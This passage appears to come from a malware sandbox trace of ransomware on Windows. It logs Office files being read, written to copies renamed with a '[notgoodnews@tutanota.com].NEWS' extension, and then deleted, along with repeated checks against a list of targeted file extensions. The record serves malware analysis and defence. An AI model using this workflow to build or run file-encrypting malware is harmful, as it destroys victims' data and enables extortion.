lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0056.366] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=5557) returned 1 [0056.367] CloseHandle (hObject=0x1a4) returned 1 [0056.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0056.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0056.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0056.367] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.367] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0056.368] GetLastError () returned 0x0 [0056.368] ReadFile (in: hFile=0x1a4, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x15b5, lpOverlapped=0x0) returned 1 [0056.632] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0056.634] ReadFile (in: hFile=0x1a4, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.634] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xee, lpOverlapped=0x0) returned 1 [0056.634] SetEndOfFile (hFile=0x1e8) returned 1 [0056.908] CloseHandle (hObject=0x1e8) returned 1 [0056.909] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.909] SetEndOfFile (hFile=0x1a4) returned 1 [0056.911] CloseHandle (hObject=0x1a4) returned 1 [0056.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0056.912] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 1 [0057.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0057.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0057.486] lstrlenW (lpString=".doc") returned 4 [0057.486] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0057.486] lstrlenW (lpString=".docx") returned 5 [0057.486] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0057.486] lstrlenW (lpString=".pdf") returned 4 [0057.486] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0057.486] lstrlenW (lpString=".xls") returned 4 [0057.486] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0057.486] lstrlenW (lpString=".xlsx") returned 5 [0057.486] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0057.486] lstrlenW (lpString=".ppt") returned 4 [0057.486] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0057.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0057.486] lstrlenW (lpString=".zip") returned 4 [0057.486] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0057.486] lstrlenW (lpString=".rar") returned 4 [0057.486] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0057.486] lstrlenW (lpString=".bz2") returned 4 [0057.486] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0057.486] lstrlenW (lpString=".7z") returned 3 [0057.486] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0057.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0057.487] lstrlenW (lpString=".dbf") returned 4 [0057.487] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0057.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0057.487] lstrlenW (lpString=".1cd") returned 4 [0057.487] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0057.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0057.487] lstrlenW (lpString=".jpg") returned 4 [0057.487] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0057.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0057.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0057.487] lstrlenW (lpString=".doc") returned 4 [0057.487] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0057.487] lstrlenW (lpString=".docx") returned 5 [0057.487] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0057.487] lstrlenW (lpString=".pdf") returned 4 [0057.487] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0057.487] lstrlenW (lpString=".xls") returned 4 [0057.487] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0057.487] lstrlenW (lpString=".xlsx") returned 5 [0057.487] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0057.487] lstrlenW (lpString=".ppt") returned 4 [0057.488] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0057.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0057.488] lstrlenW (lpString=".zip") returned 4 [0057.488] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0057.488] lstrlenW (lpString=".rar") returned 4 [0057.488] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0057.488] lstrlenW (lpString=".bz2") returned 4 [0057.488] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0057.488] lstrlenW (lpString=".7z") returned 3 [0057.488] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0057.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0057.488] lstrlenW (lpString=".dbf") returned 4 [0057.488] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0057.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0057.488] lstrlenW (lpString=".1cd") returned 4 [0057.488] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0057.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0057.488] lstrlenW (lpString=".jpg") returned 4 [0057.488] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0057.488] lstrcmpiW (lpString1=".CHM", lpString2=".NEWS") returned -1 [0057.489] lstrlenW (lpString="PSS10R.CHM") returned 10 [0057.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0058.873] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=27195) returned 1 [0058.873] CloseHandle (hObject=0x1f4) returned 1 [0058.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0058.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0058.874] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0058.874] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.874] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.874] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0058.874] GetLastError () returned 0x0 [0058.875] ReadFile (in: hFile=0x1f4, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0058.878] WriteFile (in: hFile=0x1ac, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0058.880] ReadFile (in: hFile=0x1f4, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.880] WriteFile (in: hFile=0x1ac, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0058.880] SetEndOfFile (hFile=0x1ac) returned 1 [0058.881] CloseHandle (hObject=0x1ac) returned 1 [0058.882] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.882] SetEndOfFile (hFile=0x1f4) returned 1 [0058.884] CloseHandle (hObject=0x1f4) returned 1 [0058.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0058.884] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 1 [0058.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0058.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0058.885] lstrlenW (lpString=".doc") returned 4 [0058.885] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0058.885] lstrlenW (lpString=".docx") returned 5 [0058.885] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0058.885] lstrlenW (lpString=".pdf") returned 4 [0058.885] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0058.885] lstrlenW (lpString=".xls") returned 4 [0058.885] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0058.885] lstrlenW (lpString=".xlsx") returned 5 [0058.885] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0058.885] lstrlenW (lpString=".ppt") returned 4 [0058.885] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0058.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0058.886] lstrlenW (lpString=".zip") returned 4 [0058.886] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0058.886] lstrlenW (lpString=".rar") returned 4 [0058.886] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0058.886] lstrlenW (lpString=".bz2") returned 4 [0058.886] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0058.886] lstrlenW (lpString=".7z") returned 3 [0058.886] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0058.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0058.886] lstrlenW (lpString=".dbf") returned 4 [0058.886] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0058.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0058.886] lstrlenW (lpString=".1cd") returned 4 [0058.886] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0058.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0058.886] lstrlenW (lpString=".jpg") returned 4 [0058.886] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0058.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0058.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0058.927] lstrlenW (lpString=".doc") returned 4 [0058.927] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0058.927] lstrlenW (lpString=".docx") returned 5 [0058.927] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0058.927] lstrlenW (lpString=".pdf") returned 4 [0058.927] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0058.927] lstrlenW (lpString=".xls") returned 4 [0058.927] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0058.927] lstrlenW (lpString=".xlsx") returned 5 [0058.927] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0058.927] lstrlenW (lpString=".ppt") returned 4 [0058.927] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0058.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0058.927] lstrlenW (lpString=".zip") returned 4 [0058.927] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0058.927] lstrlenW (lpString=".rar") returned 4 [0058.927] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0058.927] lstrlenW (lpString=".bz2") returned 4 [0058.927] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0058.927] lstrlenW (lpString=".7z") returned 3 [0058.927] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0058.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0058.928] lstrlenW (lpString=".dbf") returned 4 [0058.928] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0058.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0058.928] lstrlenW (lpString=".1cd") returned 4 [0058.928] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0058.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0058.928] lstrlenW (lpString=".jpg") returned 4 [0058.928] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0058.928] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0058.928] lstrlenW (lpString="OneNoteMUI.XML") returned 14 [0058.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0058.929] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=1606) returned 1 [0058.929] CloseHandle (hObject=0x1f4) returned 1 [0058.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0058.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0058.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0058.929] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.929] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0058.983] GetLastError () returned 0x0 [0058.983] ReadFile (in: hFile=0x1f4, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x646, lpOverlapped=0x0) returned 1 [0058.986] WriteFile (in: hFile=0x210, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x650, lpOverlapped=0x0) returned 1 [0058.988] ReadFile (in: hFile=0x1f4, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.988] WriteFile (in: hFile=0x210, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0058.988] SetEndOfFile (hFile=0x210) returned 1 [0058.989] CloseHandle (hObject=0x210) returned 1 [0058.990] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.990] SetEndOfFile (hFile=0x1f4) returned 1 [0058.991] CloseHandle (hObject=0x1f4) returned 1 [0058.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0058.992] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 1 [0058.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0058.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0058.992] lstrlenW (lpString=".doc") returned 4 [0058.993] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0058.993] lstrlenW (lpString=".docx") returned 5 [0058.993] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0058.993] lstrlenW (lpString=".pdf") returned 4 [0058.993] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0058.993] lstrlenW (lpString=".xls") returned 4 [0058.993] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0058.993] lstrlenW (lpString=".xlsx") returned 5 [0058.993] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0058.993] lstrlenW (lpString=".ppt") returned 4 [0058.993] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0058.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0058.993] lstrlenW (lpString=".zip") returned 4 [0058.993] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0058.993] lstrlenW (lpString=".rar") returned 4 [0058.993] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0058.993] lstrlenW (lpString=".bz2") returned 4 [0058.993] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0058.993] lstrlenW (lpString=".7z") returned 3 [0058.993] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0058.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0058.994] lstrlenW (lpString=".dbf") returned 4 [0058.994] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0058.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0058.994] lstrlenW (lpString=".1cd") returned 4 [0058.994] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0058.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0058.994] lstrlenW (lpString=".jpg") returned 4 [0058.994] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0058.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0058.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0058.994] lstrlenW (lpString=".doc") returned 4 [0058.994] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0058.994] lstrlenW (lpString=".docx") returned 5 [0058.994] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0058.994] lstrlenW (lpString=".pdf") returned 4 [0058.994] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0058.995] lstrlenW (lpString=".xls") returned 4 [0058.995] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0058.995] lstrlenW (lpString=".xlsx") returned 5 [0058.995] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0058.995] lstrlenW (lpString=".ppt") returned 4 [0058.995] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0058.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0058.995] lstrlenW (lpString=".zip") returned 4 [0058.995] lstrcmpiW (lpString1=".zip", 